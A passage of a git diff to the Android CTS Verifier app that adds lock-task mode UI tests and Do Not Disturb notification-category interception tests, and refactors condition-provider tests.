+ private void startLockTaskMode() {
+ if (mAm.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_LOCKED) {
+ return;
+ }
+
+ mLockTaskStartedLatch = new CountDownLatch(1);
+ try {
+ mDpm.setLockTaskPackages(ADMIN_RECEIVER, new String[] {TEST_PACKAGE_NAME});
+ mDpm.setLockTaskFeatures(ADMIN_RECEIVER, LOCK_TASK_FEATURE_NONE);
+ startLockTask();
+
+ new CheckLockTaskStateTask() {
+ @Override
+ protected void onPostExecute(Boolean success) {
+ if (success) {
+ issueTestNotification();
+ } else {
+ notifyFailure(getTestId(), "Failed to start LockTask mode");
+ }
+ }
+ }.execute(mLockTaskStartedLatch);
+ } catch (SecurityException e) {
+ Log.e(TAG, e.getMessage(), e);
+ Toast.makeText(this, "Failed to run test. Did you set up device owner correctly?",
+ Toast.LENGTH_SHORT).show();
+ }
+ }
+
+ /**
+ * Stops LockTask mode and waits for callback from {@link DeviceAdminTestReceiver} to confirm
+ * LockTask has stopped successfully. If the callback isn't received, the "Stop LockTask mode"
+ * test case will be marked as failed.
+ *
+ * Note that we {@link #finish()} this activity here, since it's started by the "Stop LockTask
+ * mode" test activity, and shouldn't be exposed to the tester once its job is done.
+ *
+ * @see LockTaskStateChangedReceiver
+ */
+ private void stopLockTaskMode() {
+ if (mAm.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_NONE) {
+ finish();
+ return;
+ }
+
+ mLockTaskStoppedLatch = new CountDownLatch(1);
+ try {
+ stopLockTask();
+
+ new CheckLockTaskStateTask() {
+ @Override
+ protected void onPostExecute(Boolean success) {
+ if (!success) {
+ notifyFailure(TEST_ID_STOP_LOCK_TASK, "Failed to stop LockTask mode");
+ }
+ cancelTestNotification();
+ mDpm.setLockTaskFeatures(ADMIN_RECEIVER, LOCK_TASK_FEATURE_NONE);
+ mDpm.setLockTaskPackages(ADMIN_RECEIVER, new String[] {});
+ LockTaskUiTestActivity.this.finish();
+ }
+ }.execute(mLockTaskStoppedLatch);
+ } catch (SecurityException e) {
+ Log.e(TAG, e.getMessage(), e);
+ Toast.makeText(this, "Failed to finish test. Did you set up device owner correctly?",
+ Toast.LENGTH_SHORT).show();
+ }
+ }
+
+ private abstract class CheckLockTaskStateTask extends AsyncTask<CountDownLatch, Void, Boolean> {
+ @Override
+ protected Boolean doInBackground(CountDownLatch... latches) {
+ if (latches.length > 0 && latches[0] != null) {
+ try {
+ return latches[0].await(1, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ // Fall through
+ }
+ }
+ return false;
+ }
+
+ @Override
+ protected abstract void onPostExecute(Boolean success);
+ }
+
+ private void notifyFailure(String testId, String message) {
+ Log.e(TAG, message);
+ Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
+ TestResult.setFailedResult(this, testId, message);
+ }
+
+ private void issueTestNotification() {
+ String channelId = getTestId();
+ if (mNotifyMgr.getNotificationChannel(channelId) == null) {
+ NotificationChannel channel = new NotificationChannel(
+ channelId, getTestId(), NotificationManager.IMPORTANCE_HIGH);
+ mNotifyMgr.createNotificationChannel(channel);
+ }
+
+ Notification note = new Notification.Builder(this, channelId)
+ .setContentTitle(getString(R.string.device_owner_lock_task_ui_test))
+ .setSmallIcon(android.R.drawable.sym_def_app_icon)
+ .setOngoing(true)
+ .build();
+
+ mNotifyMgr.notify(0, note);
+ }
+
+ private void cancelTestNotification() {
+ mNotifyMgr.cancelAll();
+ }
+
+ private TestListItem createSetLockTaskFeaturesTest(String testId, int featureFlags,
+ int titleResId, int detailResId) {
+ final Intent commandIntent = new Intent(CommandReceiverActivity.ACTION_EXECUTE_COMMAND);
+ commandIntent.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+ CommandReceiverActivity.COMMAND_SET_LOCK_TASK_FEATURES);
+ commandIntent.putExtra(CommandReceiverActivity.EXTRA_VALUE, featureFlags);
+
+ return createInteractiveTestItem(this, testId, titleResId, detailResId,
+ new ButtonInfo(titleResId, commandIntent));
+ }
+
+ @Override
+ public String getTestId() {
+ return getIntent().getStringExtra(EXTRA_TEST_ID);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
index 6a1ce2c..29c8708 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
@@ -26,6 +26,7 @@
import android.content.ContentProviderOperation;
import android.content.OperationApplicationException;
import android.database.Cursor;
+import android.media.AudioAttributes;
import android.net.Uri;
import android.os.RemoteException;
import android.provider.ContactsContract;
@@ -35,7 +36,9 @@
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
+
import com.android.cts.verifier.R;
+
import org.json.JSONException;
import org.json.JSONObject;
@@ -50,6 +53,8 @@
private static final String NOTIFICATION_CHANNEL_ID = TAG;
private static final String NOTIFICATION_CHANNEL_ID_NOISY = TAG + "/noisy";
+ private static final String NOTIFICATION_CHANNEL_ID_MEDIA = TAG + "/media";
+ private static final String NOTIFICATION_CHANNEL_ID_GAME = TAG + "/game";
private static final String ALICE = "Alice";
private static final String ALICE_PHONE = "+16175551212";
private static final String ALICE_EMAIL = "alice@_foo._bar";
@@ -91,9 +96,13 @@
tests.add(new IsEnabledTest());
tests.add(new ServiceStartedTest());
tests.add(new InsertContactsTest());
- tests.add(new NoneInterceptsAllTest());
- tests.add(new PriorityInterceptsSomeTest());
- tests.add(new AllInterceptsNothingTest());
+ tests.add(new NoneInterceptsAllMessagesTest());
+ tests.add(new NoneInterceptsAlarmEventReminderCategoriesTest());
+ tests.add(new PriorityInterceptsSomeMessagesTest());
+ tests.add(new PriorityInterceptsAlarmsTest());
+ tests.add(new PriorityInterceptsMediaSystemOtherTest());
+ tests.add(new AllInterceptsNothingMessagesTest());
+ tests.add(new AllInterceptsNothingDiffCategoriesTest());
tests.add(new DefaultOrderTest());
tests.add(new PriorityOrderTest());
tests.add(new InterruptionOrderTest());
@@ -113,11 +122,25 @@
NOTIFICATION_CHANNEL_ID_NOISY, NotificationManager.IMPORTANCE_HIGH);
noisyChannel.enableVibration(true);
mNm.createNotificationChannel(noisyChannel);
+ NotificationChannel mediaChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID_MEDIA,
+ NOTIFICATION_CHANNEL_ID_MEDIA, NotificationManager.IMPORTANCE_HIGH);
+ AudioAttributes.Builder aa = new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_MEDIA);
+ mediaChannel.setSound(null, aa.build());
+ mNm.createNotificationChannel(mediaChannel);
+ NotificationChannel gameChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID_GAME,
+ NOTIFICATION_CHANNEL_ID_GAME, NotificationManager.IMPORTANCE_HIGH);
+ AudioAttributes.Builder aa2 = new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_GAME);
+ gameChannel.setSound(null, aa2.build());
+ mNm.createNotificationChannel(gameChannel);
}
private void deleteChannels() {
mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_NOISY);
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_MEDIA);
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID_GAME);
}
// Tests
@@ -185,7 +208,7 @@
}
}
- protected class NoneInterceptsAllTest extends InteractiveTestCase {
+ protected class NoneInterceptsAllMessagesTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_all_are_filtered);
@@ -213,7 +236,7 @@
try {
String tag = payload.getString(JSON_TAG);
boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
- Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
if (found.contains(tag)) {
// multiple entries for same notification!
pass = false;
@@ -238,24 +261,23 @@
@Override
void tearDown() {
- mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
}
-
}
- protected class AllInterceptsNothingTest extends InteractiveTestCase {
+ protected class NoneInterceptsAlarmEventReminderCategoriesTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
- return createAutoItem(parent, R.string.attention_none_are_filtered);
+ return createAutoItem(parent, R.string.attention_all_are_filtered);
}
@Override
void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
createChannels();
- sendNotifications(MODE_URI, false, false);
+ sendEventAlarmReminderNotifications(SEND_ALL);
status = READY;
}
@@ -273,7 +295,66 @@
try {
String tag = payload.getString(JSON_TAG);
boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
- Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
+ if (found.contains(tag)) {
+ // multiple entries for same notification!
+ pass = false;
+ } else if (ALICE.equals(tag)) {
+ found.add(ALICE);
+ pass &= !zen;
+ } else if (BOB.equals(tag)) {
+ found.add(BOB);
+ pass &= !zen;
+ } else if (CHARLIE.equals(tag)) {
+ found.add(CHARLIE);
+ pass &= !zen;
+ }
+ } catch (JSONException e) {
+ pass = false;
+ Log.e(TAG, "failed to unpack data from mocklistener", e);
+ }
+ }
+ pass &= found.size() == 3;
+ status = pass ? PASS : FAIL;
+ }
+
+ @Override
+ void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ MockListener.getInstance().resetData();
+ }
+ }
+
+ protected class AllInterceptsNothingMessagesTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.attention_none_are_filtered_messages);
+ }
+
+ @Override
+ void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ createChannels();
+ sendNotifications(MODE_URI, false, false); // different messages
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+ Set<String> found = new HashSet<String>();
+ if (result.size() == 0) {
+ status = FAIL;
+ return;
+ }
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ String tag = payload.getString(JSON_TAG);
+ boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
if (found.contains(tag)) {
// multiple entries for same notification!
pass = false;
@@ -304,18 +385,77 @@
}
}
- protected class PriorityInterceptsSomeTest extends InteractiveTestCase {
+ protected class AllInterceptsNothingDiffCategoriesTest extends InteractiveTestCase {
@Override
View inflate(ViewGroup parent) {
- return createAutoItem(parent, R.string.attention_some_are_filtered);
+ return createAutoItem(parent, R.string.attention_none_are_filtered_diff_categories);
+ }
+
+ @Override
+ void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ createChannels();
+ sendEventAlarmReminderNotifications(SEND_ALL);
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+ Set<String> found = new HashSet<String>();
+ if (result.size() == 0) {
+ status = FAIL;
+ return;
+ }
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ String tag = payload.getString(JSON_TAG);
+ boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
+ if (found.contains(tag)) {
+ // multiple entries for same notification!
+ pass = false;
+ } else if (ALICE.equals(tag)) {
+ found.add(ALICE);
+ pass &= zen;
+ } else if (BOB.equals(tag)) {
+ found.add(BOB);
+ pass &= zen;
+ } else if (CHARLIE.equals(tag)) {
+ found.add(CHARLIE);
+ pass &= zen;
+ }
+ } catch (JSONException e) {
+ pass = false;
+ Log.e(TAG, "failed to unpack data from mocklistener", e);
+ }
+ }
+ pass &= found.size() == 3;
+ status = pass ? PASS : FAIL;
+ }
+
+ @Override
+ void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ MockListener.getInstance().resetData();
+ }
+ }
+
+ protected class PriorityInterceptsSomeMessagesTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.attention_some_are_filtered_messages);
}
@Override
void setUp() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
NotificationManager.Policy policy = mNm.getNotificationPolicy();
- policy = new NotificationManager.Policy(policy.priorityCategories
- | NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES,
+ policy = new NotificationManager.Policy(
+ NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES,
policy.priorityCallSenders,
NotificationManager.Policy.PRIORITY_SENDERS_STARRED);
mNm.setNotificationPolicy(policy);
@@ -338,7 +478,7 @@
try {
String tag = payload.getString(JSON_TAG);
boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
- Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+ Log.e(TAG, tag + (!zen ? "" : " not") + " intercepted");
if (found.contains(tag)) {
// multiple entries for same notification!
pass = false;
@@ -357,13 +497,144 @@
Log.e(TAG, "failed to unpack data from mocklistener", e);
}
}
- pass &= found.size() == 3;
+ pass &= found.size() >= 3;
status = pass ? PASS : FAIL;
}
@Override
void tearDown() {
- mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ mNm.cancelAll();
+ deleteChannels();
+ MockListener.getInstance().resetData();
+ }
+ }
+
+ protected class PriorityInterceptsAlarmsTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.attention_some_are_filtered_alarms);
+ }
+
+ @Override
+ void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+ NotificationManager.Policy policy = mNm.getNotificationPolicy();
+ policy = new NotificationManager.Policy(
+ NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS,
+ policy.priorityCallSenders,
+ policy.priorityMessageSenders);
+ mNm.setNotificationPolicy(policy);
+ createChannels();
+ // Event to Alice, Alarm to Bob, Reminder to Charlie:
+ sendEventAlarmReminderNotifications(SEND_ALL);
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+ Set<String> found = new HashSet<String>();
+ if (result.size() == 0) {
+ status = FAIL;
+ return;
+ }
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ String tag = payload.getString(JSON_TAG);
+ boolean zenIntercepted = !payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+ Log.e(TAG, tag + (zenIntercepted ? "" : " not") + " intercepted");
+ if (found.contains(tag)) {
+ // multiple entries for same notification!
+ pass = false;
+ } else if (ALICE.equals(tag)) {
+ found.add(ALICE);
+ pass &= zenIntercepted; // Alice's event notif should be intercepted
+ } else if (BOB.equals(tag)) {
+ found.add(BOB);
+ pass &= !zenIntercepted; // Bob's alarm notif should not be intercepted
+ } else if (CHARLIE.equals(tag)) {
+ found.add(CHARLIE);
+ pass &= zenIntercepted; // Charlie's reminder notif should be intercepted
+ }
+ } catch (JSONException e) {
+ pass = false;
+ Log.e(TAG, "failed to unpack data from mocklistener", e);
+ }
+ }
+ pass &= found.size() >= 3;
+ status = pass ? PASS : FAIL;
+ }
+
+ @Override
+ void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ MockListener.getInstance().resetData();
+ }
+ }
+
+ protected class PriorityInterceptsMediaSystemOtherTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.attention_some_are_filtered_media_system_other);
+ }
+
+ @Override
+ void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+ NotificationManager.Policy policy = mNm.getNotificationPolicy();
+ policy = new NotificationManager.Policy(
+ NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA_SYSTEM_OTHER,
+ policy.priorityCallSenders,
+ policy.priorityMessageSenders);
+ mNm.setNotificationPolicy(policy);
+ createChannels();
+ // Alarm to Alice, Other (Game) to Bob, Media to Charlie:
+ sendAlarmOtherMediaNotifications(SEND_ALL);
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+ Set<String> found = new HashSet<String>();
+ if (result.size() == 0) {
+ status = FAIL;
+ return;
+ }
+ boolean pass = true;
+ for (JSONObject payload : result) {
+ try {
+ String tag = payload.getString(JSON_TAG);
+ boolean zenIntercepted = !payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+ Log.e(TAG, tag + (zenIntercepted ? "" : " not") + " intercepted");
+ if (found.contains(tag)) {
+ // multiple entries for same notification!
+ pass = false;
+ } else if (ALICE.equals(tag)) {
+ found.add(ALICE);
+ pass &= zenIntercepted;
+ } else if (BOB.equals(tag)) {
+ found.add(BOB);
+ pass &= !zenIntercepted;
+ } else if (CHARLIE.equals(tag)) {
+ found.add(CHARLIE);
+ pass &= !zenIntercepted;
+ }
+ } catch (JSONException e) {
+ pass = false;
+ Log.e(TAG, "failed to unpack data from mocklistener", e);
+ }
+ }
+ pass &= found.size() >= 3;
+ status = pass ? PASS : FAIL;
+ }
+
+ @Override
+ void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -379,6 +650,7 @@
@Override
void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
createChannels();
sendNotifications(MODE_NONE, false, false);
status = READY;
@@ -415,6 +687,7 @@
@Override
void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
createChannels();
sendNotifications(MODE_NONE, true, false);
status = READY;
@@ -453,6 +726,7 @@
@Override
void setUp() {
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
delayTime = 15000;
createChannels();
// send B & C noisy with contact affinity
@@ -727,6 +1001,83 @@
}
}
+ private void sendEventAlarmReminderNotifications(int which) {
+ long when = System.currentTimeMillis() - 4000000L;
+ final String channelId = NOTIFICATION_CHANNEL_ID;
+
+ // Event notification to Alice
+ if ((which & SEND_A) != 0) {
+ Notification.Builder alice = new Notification.Builder(mContext, channelId)
+ .setContentTitle(ALICE)
+ .setContentText(ALICE)
+ .setSmallIcon(R.drawable.ic_stat_alice)
+ .setCategory(Notification.CATEGORY_EVENT)
+ .setWhen(when);
+ mNm.notify(ALICE, NOTIFICATION_ID + 1, alice.build());
+ }
+
+ // Alarm notification to Bob
+ if ((which & SEND_B) != 0) {
+ Notification.Builder bob = new Notification.Builder(mContext, channelId)
+ .setContentTitle(BOB)
+ .setContentText(BOB)
+ .setSmallIcon(R.drawable.ic_stat_bob)
+ .setCategory(Notification.CATEGORY_ALARM)
+ .setWhen(when);
+ mNm.notify(BOB, NOTIFICATION_ID + 2, bob.build());
+ }
+
+ // Reminder notification to Charlie
+ if ((which & SEND_C) != 0) {
+ Notification.Builder charlie =
+ new Notification.Builder(mContext, channelId)
+ .setContentTitle(CHARLIE)
+ .setContentText(CHARLIE)
+ .setSmallIcon(R.drawable.ic_stat_charlie)
+ .setCategory(Notification.CATEGORY_REMINDER)
+ .setWhen(when);
+ mNm.notify(CHARLIE, NOTIFICATION_ID + 3, charlie.build());
+ }
+ }
+
+ private void sendAlarmOtherMediaNotifications(int which) {
+ long when = System.currentTimeMillis() - 4000000L;
+ final String channelId = NOTIFICATION_CHANNEL_ID;
+
+ // Alarm notification to Alice
+ if ((which & SEND_A) != 0) {
+ Notification.Builder alice = new Notification.Builder(mContext, channelId)
+ .setContentTitle(ALICE)
+ .setContentText(ALICE)
+ .setSmallIcon(R.drawable.ic_stat_alice)
+ .setCategory(Notification.CATEGORY_ALARM)
+ .setWhen(when);
+ mNm.notify(ALICE, NOTIFICATION_ID + 1, alice.build());
+ }
+
+ // "Other" notification to Bob
+ if ((which & SEND_B) != 0) {
+ Notification.Builder bob = new Notification.Builder(mContext,
+ NOTIFICATION_CHANNEL_ID_GAME)
+ .setContentTitle(BOB)
+ .setContentText(BOB)
+ .setSmallIcon(R.drawable.ic_stat_bob)
+ .setWhen(when);
+ mNm.notify(BOB, NOTIFICATION_ID + 2, bob.build());
+ }
+
+ // Media notification to Charlie
+ if ((which & SEND_C) != 0) {
+ Notification.Builder charlie =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID_MEDIA)
+ .setContentTitle(CHARLIE)
+ .setContentText(CHARLIE)
+ .setSmallIcon(R.drawable.ic_stat_charlie)
+ .setWhen(when);
+ mNm.notify(CHARLIE, NOTIFICATION_ID + 3, charlie.build());
+ }
+ }
+
private void addPerson(int mode, Notification.Builder note,
Uri uri, String phone, String email) {
if (mode == MODE_URI && uri != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
new file mode 100644
index 0000000..f432ddb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
@@ -0,0 +1,27 @@
+package com.android.cts.verifier.notifications;
+
+import static android.app.NotificationManager.ACTION_NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED;
+import static android.app.NotificationManager.ACTION_NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED;
+
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+
+public class BlockChangeReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ SharedPreferences prefs = context.getSharedPreferences(
+ NotificationListenerVerifierActivity.PREFS, Context.MODE_PRIVATE);
+ if (ACTION_NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED.equals(intent.getAction())
+ || ACTION_NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED.equals(intent.getAction())) {
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putBoolean(
+ intent.getStringExtra(NotificationManager.EXTRA_BLOCK_STATE_CHANGED_ID),
+ intent.getBooleanExtra(NotificationManager.EXTRA_BLOCKED_STATE, false));
+ editor.commit();
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index f3bf7e5..285855f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -18,15 +18,18 @@
import com.android.cts.verifier.R;
+import android.app.ActivityManager;
import android.app.AutomaticZenRule;
import android.app.NotificationManager;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Parcelable;
import android.provider.Settings;
import android.provider.Settings.Secure;
import android.text.TextUtils;
+import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
@@ -56,17 +59,25 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(9);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new CreateAutomaticZenRuleTest());
- tests.add(new UpdateAutomaticZenRuleTest());
- tests.add(new GetAutomaticZenRuleTest());
- tests.add(new GetAutomaticZenRulesTest());
- tests.add(new SubscribeAutomaticZenRuleTest());
- tests.add(new DeleteAutomaticZenRuleTest());
- tests.add(new UnsubscribeAutomaticZenRuleTest());
- tests.add(new IsDisabledTest());
- tests.add(new ServiceStoppedTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new CreateAutomaticZenRuleTest());
+ tests.add(new UpdateAutomaticZenRuleTest());
+ tests.add(new GetAutomaticZenRuleTest());
+ tests.add(new GetAutomaticZenRulesTest());
+ tests.add(new SubscribeAutomaticZenRuleTest());
+ tests.add(new DeleteAutomaticZenRuleTest());
+ tests.add(new UnsubscribeAutomaticZenRuleTest());
+ tests.add(new RequestUnbindTest());
+ tests.add(new RequestBindTest());
+ tests.add(new IsDisabledTest());
+ tests.add(new ServiceStoppedTest());
+ }
return tests;
}
@@ -101,6 +112,50 @@
// wait for the service to start
delay();
}
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+ }
+ }
+
+ protected class CannotBeEnabledTest extends InteractiveTestCase {
+ @Override
+ View inflate(ViewGroup parent) {
+ return createNlsSettingsItem(parent, R.string.cp_cannot_enable_service);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ void test() {
+ mNm.cancelAll();
+ Intent settings = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ if (mNm.isNotificationPolicyAccessGranted()) {
+ status = FAIL;
+ } else {
+ status = PASS;
+ }
+ next();
+ }
+ }
+
+ void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+ }
}
protected class ServiceStartedTest extends InteractiveTestCase {
@@ -135,6 +190,75 @@
}
}
+ private class RequestUnbindTest extends InteractiveTestCase {
+ int mRetries = 5;
+
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.nls_snooze);
+
+ }
+
+ @Override
+ void setUp() {
+ status = READY;
+ }
+
+ @Override
+ void test() {
+ if (status == READY) {
+ MockConditionProvider.getInstance().requestUnbind();
+ status = RETEST;
+ } else {
+ if (MockConditionProvider.getInstance() == null ||
+ !MockConditionProvider.getInstance().isConnected()) {
+ status = PASS;
+ } else {
+ if (--mRetries > 0) {
+ status = RETEST;
+ } else {
+ logFail();
+ status = FAIL;
+ }
+ }
+ next();
+ }
+ }
+ }
+
+ private class RequestBindTest extends InteractiveTestCase {
+ int mRetries = 5;
+
+ @Override
+ View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.nls_unsnooze);
+
+ }
+
+ @Override
+ void test() {
+ if (status == READY) {
+ MockConditionProvider.requestRebind(MockConditionProvider.COMPONENT_NAME);
+ status = RETEST;
+ } else {
+ if (MockConditionProvider.getInstance().isConnected()
+ && MockConditionProvider.getInstance().isBound()) {
+ status = PASS;
+ next();
+ } else {
+ if (--mRetries > 0) {
+ status = RETEST;
+ next();
+ } else {
+ logFail();
+ status = FAIL;
+ }
+ }
+ }
+ }
+ }
+
+
private class CreateAutomaticZenRuleTest extends InteractiveTestCase {
private String id = null;
@@ -516,6 +640,11 @@
MockConditionProvider.resetData(mContext);
delay();
}
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+ }
}
private class ServiceStoppedTest extends InteractiveTestCase {
@@ -570,21 +699,4 @@
protected View createSettingsItem(ViewGroup parent, int messageId) {
return createUserItem(parent, R.string.cp_start_settings, messageId);
}
-
- public void launchSettings() {
- startActivity(new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS));
- }
-
- public void actionPressed(View v) {
- Object tag = v.getTag();
- if (tag instanceof Integer) {
- int id = ((Integer) tag).intValue();
- if (id == R.string.cp_start_settings) {
- launchSettings();
- } else if (id == R.string.attention_ready) {
- mCurrentTest.status = READY;
- next();
- }
- }
- }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 7d5de8c..0ffd77d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -16,6 +16,8 @@
package com.android.cts.verifier.notifications;
+import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
+
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
@@ -65,8 +67,6 @@
// TODO remove these once b/10023397 is fixed
public static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
- public static final String NOTIFICATION_LISTENER_SETTINGS =
- "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS";
protected InteractiveTestCase mCurrentTest;
protected PackageManager mPackageManager;
@@ -133,6 +133,12 @@
Log.e(TAG, "failed " + this.getClass().getSimpleName() +
((message == null) ? "" : ": " + message), e);
}
+
+ // If this test contains a button that launches another activity, override this
+ // method to provide the intent to launch.
+ protected Intent getIntent() {
+ return null;
+ }
}
abstract int getTitleResource();
@@ -345,16 +351,12 @@
// UI callbacks
- public void launchSettings() {
- startActivity(new Intent(NOTIFICATION_LISTENER_SETTINGS));
- }
-
public void actionPressed(View v) {
Object tag = v.getTag();
if (tag instanceof Integer) {
int id = ((Integer) tag).intValue();
- if (id == R.string.nls_start_settings) {
- launchSettings();
